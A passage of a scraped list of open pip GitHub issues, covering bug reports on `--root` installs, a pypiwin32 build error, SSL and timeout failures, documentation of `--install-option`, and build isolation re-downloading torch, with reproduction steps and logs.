                    │   ├── AUTHORS
                    │   ├── INSTALLER
                    │   ├── LICENSE
                    │   ├── METADATA
                    │   ├── RECORD
                    │   ├── REQUESTED
                    │   ├── WHEEL
                    │   └── top_level.txt
                    └── bottle.py

9 directories, 12 files
```

But

```
$ docker run --rm python:3.9-alpine sh -xc 'apk add tree && pip install --root ./d bottle && tree -a d'
...
+ pip install --root ./d bottle
Collecting bottle
  Downloading bottle-0.12.19-py3-none-any.whl (89 kB)
Installing collected packages: bottle
Successfully installed bottle-0.12.19
+ tree -a d
d
└── usr
    └── local
        ├── bin
        │   ├── __pycache__
        │   │   └── bottle.cpython-39.pyc
        │   └── bottle.py
        └── lib
            └── python3.9
                └── site-packages
                    ├── __pycache__
                    │   └── bottle.cpython-39.pyc
                    ├── bottle-0.12.19.dist-info
                    │   ├── AUTHORS
                    │   ├── INSTALLER
                    │   ├── LICENSE
                    │   ├── METADATA
                    │   ├── RECORD
                    │   ├── REQUESTED
                    │   ├── WHEEL
                    │   └── top_level.txt
                    └── bottle.py

9 directories, 12 files
```

This happens because when it checks if the directory is writable, it ascends up the directory tree until it's left with an [empty string][a]. And `os.access()` returns `False`.

[a]: https://github.com/pypa/pip/blob/21.0/src/pip/_internal/utils/filesystem.py#L121-L125

user: x-yuri
labels: S: needs triage: Issues/PRs that need to be triaged
issue_9529: state: open
title: Installing pypiwin32 to --user directory: Command errored out with exit status 1: python setup.py
body: <!--
If you're reporting an issue for `--use-feature=2020-resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**
* pip version: 21.0
* Python version:  3.9.1
* OS:Windows 10 v1909

<!-- Feel free to add more information about your environment here -->

**Description**
An install that works properly with pip v20.3.3 causes a build error on pip v21.0. 

**Expected behavior**
awscli package should be installed without error.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->
Save the attached pipbug.bat.txt code and rename the file to pipbug.bat.
Run pipbug.bat.  WARNING: This will erase the pip packages in the --user directory:
Observe that the command works when using pip v20.3.3 and fails with v21.0

[pipbug.bat.txt](https://github.com/pypa/pip/files/5891187/pipbug.bat.txt)

**Output**

```
C:\Users\bookworm\AppData\Local\Temp>py -m pip install --user --upgrade --no-warn-script-location pypiwin32
Collecting pypiwin32
  Using cached pypiwin32-223-py3-none-any.whl (1.7 kB)
Collecting pywin32>=223
  Using cached pywin32-300-cp39-cp39-win_amd64.whl (9.2 MB)
Installing collected packages: pywin32, pypiwin32
Successfully installed pypiwin32-223 pywin32-300

C:\Users\bookworm\AppData\Local\Temp>py -m pip install --user --upgrade --no-warn-script-location pypiwin32 awscli
Requirement already satisfied: pypiwin32 in c:\users\bookworm\appdata\roaming\python\python39\site-packages (223)
Collecting pypiwin32
  Using cached pypiwin32-223-py3-none-any.whl (1.7 kB)
  Using cached pypiwin32-219.zip (4.8 MB)
    ERROR: Command errored out with exit status 1:
     command: 'C:\Program Files\Python39\python.exe' -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'C:\\Users\\bookworm\\AppData\\Local\\Temp\\pip-install-by6ffw1v\\pypiwin32_3670a8be38fd4c349a6f1c5301b432b8\\setup.py'"'"'; __file__='"'"'C:\\Users\\bookworm\\AppData\\Local\\Temp\\pip-install-by6ffw1v\\pypiwin32_3670a8be38fd4c349a6f1c5301b432b8\\setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base 'C:\Users\bookworm\AppData\Local\Temp\pip-pip-egg-info-us6vviwb'
         cwd: C:\Users\bookworm\AppData\Local\Temp\pip-install-by6ffw1v\pypiwin32_3670a8be38fd4c349a6f1c5301b432b8\
    Complete output (16 lines):
    C:\Program Files\Python39\lib\site-packages\setuptools\version.py:1: UserWarning: Module _win32sysloader was already imported from C:\Users\bookworm\AppData\Roaming\Python\Python39\site-packages\win32\_win32sysloader.pyd, but c:\users\bookworm\appdata\local\temp\pip-install-by6ffw1v\pypiwin32_3670a8be38fd4c349a6f1c5301b432b8 is being added to sys.path
      import pkg_resources
    C:\Program Files\Python39\lib\site-packages\setuptools\version.py:1: UserWarning: Module pythoncom was already imported from C:\Users\bookworm\AppData\Roaming\Python\Python39\site-packages\pywin32_system32\pythoncom39.dll, but c:\users\bookworm\appdata\local\temp\pip-install-by6ffw1v\pypiwin32_3670a8be38fd4c349a6f1c5301b432b8 is being added to sys.path
      import pkg_resources
    C:\Program Files\Python39\lib\site-packages\setuptools\version.py:1: UserWarning: Module pywintypes was already imported from C:\Users\bookworm\AppData\Roaming\Python\Python39\site-packages\pywin32_system32\pywintypes39.dll, but c:\users\bookworm\appdata\local\temp\pip-install-by6ffw1v\pypiwin32_3670a8be38fd4c349a6f1c5301b432b8 is being added to sys.path
      import pkg_resources
    C:\Program Files\Python39\lib\site-packages\setuptools\version.py:1: UserWarning: Module win32api was already imported from C:\Users\bookworm\AppData\Roaming\Python\Python39\site-packages\win32\win32api.pyd, but c:\users\bookworm\appdata\local\temp\pip-install-by6ffw1v\pypiwin32_3670a8be38fd4c349a6f1c5301b432b8 is being added to sys.path
      import pkg_resources
    C:\Program Files\Python39\lib\site-packages\setuptools\version.py:1: UserWarning: Module win32com was already imported from C:\Users\bookworm\AppData\Roaming\Python\Python39\site-packages\win32com\__init__.py, but c:\users\bookworm\appdata\local\temp\pip-install-by6ffw1v\pypiwin32_3670a8be38fd4c349a6f1c5301b432b8 is being added to sys.path
      import pkg_resources
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "C:\Users\bookworm\AppData\Local\Temp\pip-install-by6ffw1v\pypiwin32_3670a8be38fd4c349a6f1c5301b432b8\setup.py", line 121
        print "Building pywin32", pywin32_version
              ^
    SyntaxError: Missing parentheses in call to 'print'. Did you mean print("Building pywin32", pywin32_version)?
    ----------------------------------------
WARNING: Discarding https://files.pythonhosted.org/packages/2b/ca/5c086c18de8f70222787b3e824e755b68d99272531522e77bb381d4f60c8/pypiwin32-219.zip#sha256=06d478295c89dbdd4187e1ac099bb8eab93c29e298bded4e2fbc77009287fa44 (from https://pypi.org/simple/pypiwin32/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
Collecting awscli
  Using cached awscli-1.18.222-py2.py3-none-any.whl (3.5 MB)
Collecting rsa<=4.5.0,>=3.1.2
  Using cached rsa-4.5-py2.py3-none-any.whl (36 kB)
Collecting colorama<0.4.4,>=0.2.5
  Using cached colorama-0.4.3-py2.py3-none-any.whl (15 kB)
Collecting docutils<0.16,>=0.10
  Using cached docutils-0.15.2-py3-none-any.whl (547 kB)
Collecting s3transfer<0.4.0,>=0.3.0
  Using cached s3transfer-0.3.4-py2.py3-none-any.whl (69 kB)
Collecting PyYAML<5.4,>=3.10
  Using cached PyYAML-5.3.1-cp39-cp39-win_amd64.whl (212 kB)
Collecting botocore==1.19.62
  Using cached botocore-1.19.62-py2.py3-none-any.whl (7.2 MB)
Collecting jmespath<1.0.0,>=0.7.1
  Using cached jmespath-0.10.0-py2.py3-none-any.whl (24 kB)
Collecting urllib3<1.27,>=1.25.4
  Using cached urllib3-1.26.3-py2.py3-none-any.whl (137 kB)
Collecting python-dateutil<3.0.0,>=2.1
  Using cached python_dateutil-2.8.1-py2.py3-none-any.whl (227 kB)
Collecting six>=1.5
  Using cached six-1.15.0-py2.py3-none-any.whl (10 kB)
Collecting pyasn1>=0.1.3
  Using cached pyasn1-0.4.8-py2.py3-none-any.whl (77 kB)
Requirement already satisfied: pywin32>=223 in c:\users\bookworm\appdata\roaming\python\python39\site-packages (from pypiwin32) (300)
Installing collected packages: six, urllib3, python-dateutil, jmespath, pyasn1, botocore, s3transfer, rsa, PyYAML, docutils, colorama, awscli
Successfully installed PyYAML-5.3.1 awscli-1.18.222 botocore-1.19.62 colorama-0.4.3 docutils-0.15.2 jmespath-0.10.0 pyasn1-0.4.8 python-dateutil-2.8.1 rsa-4.5 s3transfer-0.3.4 six-1.15.0 urllib3-1.26.3

C:\Users\bookworm\AppData\Local\Temp>cd ..

C:\Users\bookworm\AppData\Local>goto :EOF

C:\Users\bookworm\AppData\Local>echo FAIL
FAIL

C:\Users\bookworm\AppData\Local>goto :EOF
```

user: BookWorm0
labels: S: needs triage: Issues/PRs that need to be triaged
issue_9525: state: open
title: SSL: CERTIFICATE_VERIFY_FAILED with root certificate in venv
body: **Environment**

* pip version: 21.0
* Python version: 3.9.1
* OS: Arch Linux
* Custom self-signed certificates installed

**Description**
I created a a new venv. Activated the venv and tried to install my requirements. Than I got the `SSL: CERTIFICATE_VERIFY_FAILED` error.
Outside of venv its works flawless on user and system scope.
If I pass the location of my root certificate with `--cert` it works as well. Even if I pass the path of my venv certifi `cacert.pem` (`venv_tools/lib/python3.9/site-packages/certifi/cacert.pem`) the installation works after i replaced the content of certifis cacert.pem with my root certificates. 

I installed certifi into the venv and used `cp` to copy the root certificate into certifis `cacert.pem`. Didn't work.

**Expected behavior**
It should install without issues

**How to Reproduce**

1. python -m venv venv_test
2. source venv_test/bin/activate
3. pip install certifi
4. pip install boto3 --no-cache-dir

**Output**

```
Collecting boto3
  WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1123)'))': /packages/d5/81/28be943302e1dad878164a27c32ca3f86bd6b4e8199efbbd080374acfa47/boto3-1.16.61-py2.py3-none-any.whl
  WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1123)'))': /packages/d5/81/28be943302e1dad878164a27c32ca3f86bd6b4e8199efbbd080374acfa47/boto3-1.16.61-py2.py3-none-any.whl
  WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1123)'))': /packages/d5/81/28be943302e1dad878164a27c32ca3f86bd6b4e8199efbbd080374acfa47/boto3-1.16.61-py2.py3-none-any.whl
  WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1123)'))': /packages/d5/81/28be943302e1dad878164a27c32ca3f86bd6b4e8199efbbd080374acfa47/boto3-1.16.61-py2.py3-none-any.whl
  WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1123)'))': /packages/d5/81/28be943302e1dad878164a27c32ca3f86bd6b4e8199efbbd080374acfa47/boto3-1.16.61-py2.py3-none-any.whl
ERROR: Could not install packages due to an OSError: HTTPSConnectionPool(host='files.pythonhosted.org', port=443): Max retries exceeded with url: /packages/d5/81/28be943302e1dad878164a27c32ca3f86bd6b4e8199efbbd080374acfa47/boto3-1.16.61-py2.py3-none-any.whl (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1123)')))
```

user: Maradonna90
issue_9512: state: open
title: Update documentation to reflect changes in --install-option functionality
body: Recently a couple of users (including me) have tried to use the --install-option flag to pass --prefix flag information to pip: [https://github.com/pypa/pip/issues/9435](https://github.com/pypa/pip/issues/9435). This isn't allowed anymore, but is still used as an example of how to use the --install-option flag in the documentation.

I would recommend correcting the example given in the 'per-requirement overrides' section, to remove the use of the --prefix flag: [https://pip.pypa.io/en/stable/reference/pip_install/#per-requirement-overrides](https://pip.pypa.io/en/stable/reference/pip_install/#per-requirement-overrides)
I think it would also be useful to describe in this section which options are explicitly not allowed to be passed via the --install-option flag, and why (as mentioned in this comment: [https://github.com/pypa/pip/issues/9435#issuecomment-765840558](https://github.com/pypa/pip/issues/9435#issuecomment-765840558)). Including this information would help users understand better what can be done with this flag.

I wonder also if the text describing the use of the --install-option flag needs some adjustment:
[https://pip.pypa.io/en/stable/reference/pip_install/#cmdoption-install-option](https://pip.pypa.io/en/stable/reference/pip_install/#cmdoption-install-option)
This uses '--install-scripts' as the example flag being passed (which doesn't exist as far as I can see?). It would be better to use an existing option (such as --no-compile). This paragraph also mentions having to pass absolute paths for options - is this a redundant warning now that options such as --prefix are not allowed, or are there still some options requiring paths which are allowed?

user: douglowe
labels: type: docs: Documentation related
type: deprecation: Related to deprecation / removal.
issue_9511: state: open
title: Caused by SSLError(SSLEOFError(8, 'EOF occurred in violation of protocol (_ssl.c:852)'),))
body: When I used pip to install the package, the following error occurred.Please help me，thanks!
![](https://i.stack.imgur.com/MM0xe.png)
user: Lyang-Never
issue_9499: state: open
title: Add a lint check to ensure classifiers (and other metadata values) are valid
body: Pip 21.0 has now been released.

One issue, around the classifiers (a previous commit had left them incorrect). We should probably have a lint check that the classifiers are valid, to avoid this sort of issue in the future.

_Originally posted by @pfmoore in https://github.com/pypa/pip/issues/9282#issuecomment-766195616_
user: pfmoore
labels: S: needs triage: Issues/PRs that need to be triaged
issue_9489: state: open
title: Any pip install XXX failed with ReadTimeoutError/HTTPSConnectionPool errors
body: Any package I'm trying to install I'm getting the same error.

For example: 
	pip install flask	(tried also pip3 instead)

    WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ReadTimeoutError("HTTPSConnectionPool(host='pypi.org', port=443): Read timed out. (read timeout=15)")': /simple/flask/
    WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ReadTimeoutError("HTTPSConnectionPool(host='pypi.org', port=443): Read timed out. (read timeout=15)")': /simple/flask/
    WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ReadTimeoutError("HTTPSConnectionPool(host='pypi.org', port=443): Read timed out. (read timeout=15)")': /simple/flask/
    WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ReadTimeoutError("HTTPSConnectionPool(host='pypi.org', port=443): Read timed out. (read timeout=15)")': /simple/flask/
    WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ReadTimeoutError("HTTPSConnectionPool(host='pypi.org', port=443): Read timed out. (read timeout=15)")': /simple/flask/
    ERROR: Could not find a version that satisfies the requirement flask (from versions: none)
    ERROR: No matching distribution found for flask


I was using python 3.7.X and was able to install packages before (~year ago), but today start getting those errors. I tried uninstall python and install again, therefore now I have the latest versions:

Python 3.9.1

pip 20.2.3

(window 8.1)

I checked the connection by running "$ curl https://pypi.org" and doesn't see any error.
Tried to set timeout of 60 seconds but same error.
I'm not using proxy.

What else I could check?

user: liron50
issue_9478: state: open
title: Uninstall should support --root parameter for consistency with install
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
I can use the `--root` option to install relative to a specific directory but I cannot then undelete relative to the same directory.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->
Support the "--root" parameter and if given, delete the package relative to this instead of the normal global location(s).

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->
I am creating bootable images by mounting them, updating them (for example using `pip install --root...`) and unmounting.  Unfortunately if required I cannot use `pip uninstall --root` to similar remove unwanted packages.

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->
Maybe a chroot might work here but that should not be required.

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

user: papadeltasierra
issue_9475: state: open
title: Major changes to the documentation
body: This is basically the supporting issue to #9474, with the idea being to have any broad overarching discussions over here, with code review happening in that PR. :)
user: pradyunsg
labels: type: docs: Documentation related
issue_9456: state: open
title: `pip wheel . --version` doesn't exit
body: * pip version: 20.3.3
* Python version: 3.9
* OS: Linux

**Description**
`pip wheel . --version` should show version or fail with error about unrecognised option. Instead it starts building wheel.

**Expected behavior**
`pip wheel . --version` shows version.

**How to Reproduce**
Run.
```
pip wheel . --version
```

**Output**

```
✗ pip wheel . --version                   
Processing /home/anatoli/h/snapsquash/ksykaitai
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
    Preparing wheel metadata ... done
Building wheels for collected packages: ksykaitai
...
```

user: abitrolly
issue_9445: state: open
title: pip shouldn't run abspath on requirement specifiers or urls
body: `parse_req_from_line` runs `os.path.abspath` on all requirements: https://github.com/pypa/pip/blob/c1251a85f788afa027b9a8faddaafbe7bfbb988c/src/pip/_internal/req/constructors.py#L308

Generally this works, but it is unnecessary for urls and requirements specifiers (as far as I can tell), and can cause failures when run against requirement specifiers when the current user cannot access the current working directory. This can happen when pip is being run by deployment tools such as puppet, which may run out of a root-access-only directory, but run pip as another user, without changing the cwd. In these cases, this exception is raised:
```
2021-01-12T21:10:49,260 Traceback (most recent call last):
2021-01-12T21:10:49,260   File "/builds/dep1/virtualenv/lib/python3.8/site-packages/pip/_internal/commands/install.py", line 291, in run
2021-01-12T21:10:49,260     reqs = self.get_requirements(args, options, finder, session)
2021-01-12T21:10:49,260   File "/builds/dep1/virtualenv/lib/python3.8/site-packages/pip/_internal/cli/req_command.py", line 371, in get_requirements
2021-01-12T21:10:49,260     req_to_add = install_req_from_parsed_requirement(
2021-01-12T21:10:49,260   File "/builds/dep1/virtualenv/lib/python3.8/site-packages/pip/_internal/req/constructors.py", line 466, in install_req_from_parsed_requirement
2021-01-12T21:10:49,260     req = install_req_from_line(
2021-01-12T21:10:49,260   File "/builds/dep1/virtualenv/lib/python3.8/site-packages/pip/_internal/req/constructors.py", line 399, in install_req_from_line
2021-01-12T21:10:49,260     parts = parse_req_from_line(name, line_source)
2021-01-12T21:10:49,260   File "/builds/dep1/virtualenv/lib/python3.8/site-packages/pip/_internal/req/constructors.py", line 308, in parse_req_from_line
2021-01-12T21:10:49,260     path = os.path.normpath(os.path.abspath(name))
2021-01-12T21:10:49,260   File "/builds/dep1/virtualenv/bin/../lib/python3.8/posixpath.py", line 379, in abspath
2021-01-12T21:10:49,260     cwd = os.getcwd()
2021-01-12T21:10:49,260 PermissionError: [Errno 13] Permission denied
2021-01-12T21:10:49,281 Removed build tracker: '/private/tmp/pip-req-tracker-l7zponpj'
```
user: bhearsum
labels: S: needs triage: Issues/PRs that need to be triaged
issue_9444: state: open
title: pip uninstall -r requirements throws an exception if the requirements file contains --install-option
body: Environment Versions

    OS Type: mac os version 10.15.7
    Python version: 3.9.0
    pip version: 20.3.3
    pip-tools version: 5.5.0

Steps to replicate

- make sure your requirements.txt file has at least one row that contains an install option, e.g., 'arcgis==1.8.2 --install-option="--no-deps"'
- run 'pip uninstall -r requirements.txt' and the exception will be thrown

Expected result

all packages listed in the requirements.txt that are installed should get uninstalled
Actual result

exception is thrown immediately
user: karlkaebnick
labels: S: needs triage: Issues/PRs that need to be triaged
issue_9439: state: open
title: pip build isolation triggers re-download of dependencies
body: **Environment**

* pip version: pip 20.3.3  
* Python version: 3.8
* OS: Ubuntu 20.04

**Description**
`pip install fairscale` will retrigger a +700MB download of torch even though torch is already installed due to build isolation.

**Expected behavior**
Local torch installation is used.

**How to Reproduce**
`python3.8 -m pip install torch==1.7.1+cpu  -f https://download.pytorch.org/whl/torch_stable.html`
`python3.8 -m pip install fairscale --verbose`

**Output**
```
   [...]
1 location(s) to search for versions of torch:
  * https://pypi.org/simple/torch/
  Fetching project page and analyzing links: https://pypi.org/simple/torch/
  Getting page https://pypi.org/simple/torch/
  Found index url https://pypi.org/simple
  Getting credentials from keyring for https://pypi.org/simple
  Getting credentials from keyring for pypi.org
  Looking up "https://pypi.org/simple/torch/" in the cache
  Request header has "max_age" as 0, cache bypassed
  https://pypi.org:443 "GET /simple/torch/ HTTP/1.1" 304 0
    Found link https://files.pythonhosted.org/packages/c0/66/2a0696bdac7ed0a99b65f6d8a5da7bc2583835ea04cac058bcd982cbb9ef/torch-0.1.2.tar.gz#sha256=93e87a9573db7f40a12818661ea436d5bb7c79a541f66063e5f1c3bc44877b5e (from https://pypi.org/simple/torch/), version: 0.1.2
    Found link https://files.pythonhosted.org/packages/5f/e9/bac4204fe9cb1a002ec6140b47f51affda1655379fe302a1caef421f9846/torch-0.1.2.post1.tar.gz#sha256=4e9560ce89042e0bc40cda5b1f3ed7e0a2339d76356435a302e88a115c1e0c71 (from https://pypi.org/simple/torch/), version: 0.1.2.post1
    Found link https://files.pythonhosted.org/packages/f8/02/880b468bd382dc79896eaecbeb8ce95e9c4b99a24902874a2cef0b562cea/torch-0.1.2.post2.tar.gz#sha256=a43e37f8f927c5b18f80cd163daaf6a1920edafcab5102e02e3e14bb97d9c874 (from https://pypi.org/simple/torch/), version: 0.1.2.post2
    Skipping link: none of the wheel's tags match: cp27-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/8e/36/fb7eebf71ea3ea88c44bc5dc3c7c82b9ade22c85723e73bda32013243df4/torch-0.3.0.post4-cp27-none-macosx_10_6_x86_64.whl#sha256=2f51160b720829f4f5295fe158bd87211d1d26323220cbf25fc60dcd548ef1c2 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-cp35m-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/d7/13/f3b4b9073cae2be3c061b78511f874d89e0ea9b587828bfc26936b90cca6/torch-0.3.0.post4-cp35-cp35m-macosx_10_6_x86_64.whl#sha256=444577bb356fa64eaa530ca4948ea10fd5effec5b5d5edbc39e729c603ca0521 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-cp36m-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/6e/d2/234d568c3ea8c09a598b55b7c574c7fcb9b8bd2b6e8e5780e97783b12a5b/torch-0.3.0.post4-cp36-cp36m-macosx_10_7_x86_64.whl#sha256=40717581b8616c9d3c18192bcf53d76ea469399e1d475d45e8ac1859824ffc59 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27m-manylinux1_x86_64: https://files.pythonhosted.org/packages/91/02/1f4ee5dbbc6c3177772e467f5c19be2ee275e532a59f9a74924acf052e63/torch-0.3.1-cp27-cp27m-manylinux1_x86_64.whl#sha256=bf8f79bd2e01341d9983390d23411f90883f13352e3c835e4ec136456a4ab7fb (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27mu-manylinux1_x86_64: https://files.pythonhosted.org/packages/e0/d2/e069611c5e05b4c0d77f841969aa0e6136c43b7a81c0a6cde4910e49a0ce/torch-0.3.1-cp27-cp27mu-manylinux1_x86_64.whl#sha256=db31189d3f4008db7aa988a912cbc358f006151da4f10f1448ab87bcc0477829 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/71/39/4fa322bb01f33c95a19f6ef971bcba62106a29372c806e1dd5076b7dd13d/torch-0.3.1-cp27-none-macosx_10_6_x86_64.whl#sha256=fc0894f970693fcdb369d887c1662ff96a069690747d79a43d18f6115808026b (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-cp35m-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/7f/c6/88c317d2e1941ca268d9166ba2b6d52ee8151998500d4355a856e5af9313/torch-0.3.1-cp35-cp35m-macosx_10_6_x86_64.whl#sha256=67722a24be80beca362eb6e612b5e29f358143d62f2b53729f2c6b4184f89d09 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-cp35m-manylinux1_x86_64: https://files.pythonhosted.org/packages/e8/c5/0763a145e051ce7c84c128621693d1c5dfad5a42d551e8d79742261002e2/torch-0.3.1-cp35-cp35m-manylinux1_x86_64.whl#sha256=9bd42b43a1e078ca40c73d4c585ae921dd2271427f55f589d544508433205637 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-cp36m-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/2a/dd/28850f603ae154988771ea58014890fc3f2e1a3573416987faaaeda9a204/torch-0.3.1-cp36-cp36m-macosx_10_7_x86_64.whl#sha256=5af3ff750ca2b78b86cbb2da1689a70ffcab88b801bcbf92d6810e182526e654 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/5b/a5/e8b50b55b1abac9f1e3346c4242f1e42a82d368a8442cbd50c532922f6c4/torch-0.3.1-cp36-cp36m-manylinux1_x86_64.whl#sha256=3e1d77faad3cd6c9009249406f333239c1dd06321b0a27142cf996297af5f0e5 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27m-manylinux1_x86_64: https://files.pythonhosted.org/packages/d5/2e/e9f03a61e05bbc2148348ec913203865589c9cde8f8f87506d137f98ada9/torch-0.4.0-cp27-cp27m-manylinux1_x86_64.whl#sha256=06ba3249027330073339de369a0584c938cfddec740f26ce15be88bb40746b42 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27mu-manylinux1_x86_64: https://files.pythonhosted.org/packages/df/a4/7f5ec6e9df1bf13f1881353702aa9713fcd997481b26018f35e0be85faf7/torch-0.4.0-cp27-cp27mu-manylinux1_x86_64.whl#sha256=292417c83d09fe14741d9cb7928375c40ee24803634ac31ada1e43c7fc26b847 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/5d/bd/63b64edf9528d3e939190961d430dba96bfe3da61d91681317565da2286b/torch-0.4.0-cp27-none-macosx_10_6_x86_64.whl#sha256=1ea154c7042fd0ae573a16540fdcf9b9f732857001fad2e5569a0bc2d37ff30c (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-cp35m-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/57/ae/361fc39440d35d5dd729a558698c09a2812b2f0b5a9ddc8d390d437cdf4b/torch-0.4.0-cp35-cp35m-macosx_10_6_x86_64.whl#sha256=05573009d20a7cfc551f919b2abc52dbac43d269bc40f98fb67eddcd4145a6ae (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-cp35m-manylinux1_x86_64: https://files.pythonhosted.org/packages/33/65/e40bc02754ad2fd66e4953e276d8c608cdb0e3b6b516fb485ea1efaeeeea/torch-0.4.0-cp35-cp35m-manylinux1_x86_64.whl#sha256=6c9ac80a4487028e343cb4ae3be9a676e51caeecdc94aefbd6c11916ecf36760 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-cp36m-macosx_10_7_x86_64: https://files.pythonhosted.org/packages/6c/41/5454da652b9cf75f4b5706ef71404352b6131484bb966f05c7899e6ac25d/torch-0.4.0-cp36-cp36m-macosx_10_7_x86_64.whl#sha256=bde3b8131973dd8a454be9e0aa3b1a7df410afe16c58ae7eed848005bd449aac (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp36-cp36m-manylinux1_x86_64: https://files.pythonhosted.org/packages/69/43/380514bd9663f1bf708abeb359b8b48d3fabb1c8e95bb3427a980a064c57/torch-0.4.0-cp36-cp36m-manylinux1_x86_64.whl#sha256=c043adef934051df1308d7d9a3ef7a299c0cf1accb04b3790b2342c23ae6fdea (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27m-manylinux1_x86_64: https://files.pythonhosted.org/packages/75/05/d60c1e8a297e1cc55a3d44fc48f03084e6a8abe5ffcf17e5dfccde8706a0/torch-0.4.1-cp27-cp27m-manylinux1_x86_64.whl#sha256=762eeb0ef4c6de1d9bf12616f362d979cabf1c2b988d5a90bb074adcdc30a079 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-cp27mu-manylinux1_x86_64: https://files.pythonhosted.org/packages/06/a7/6a173738dd6be014ebf9ba6f0b441d91b113b1506a98e10da4ff60994b54/torch-0.4.1-cp27-cp27mu-manylinux1_x86_64.whl#sha256=108aef4c2744724d19d76c2344108db6abb60e86cfc9e06eb3d46386ea3b6097 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp27-none-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/fb/00/2f4df67ddac1b059ebef175cd25c6fd282ac57ea4f5dd81d5a77dc7a6bdd/torch-0.4.1-cp27-none-macosx_10_6_x86_64.whl#sha256=400f50a9551c5ed2fbea9bd199e14e2ec79964dd792053802b51269eec96320b (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-cp35m-macosx_10_6_x86_64: https://files.pythonhosted.org/packages/79/d5/4e75fc60b1b84ea1cbb501f102e53c9e09c755ec47bb90655628049691ae/torch-0.4.1-cp35-cp35m-macosx_10_6_x86_64.whl#sha256=db668180b11144579d503041339025cc76a70bc0da877f2f91f386fe9229e292 (from https://pypi.org/simple/torch/)
    Skipping link: none of the wheel's tags match: cp35-cp35m-manylinux1_x86_64: https://files.pythonhosted.org/packages/f9/4e/1bcb4688b7506c340ca6ba5b9f57f4ad3b59a193bba365bf2b51e9e4bb3e/torch-0.4.1-cp35-cp35m-manylinux1_x86_64.whl#sha256=725ae85be70a569583863c263e281938b21e5e92d9a8f480094555b59a82936d (from https://pypi.org/simple/torch/)
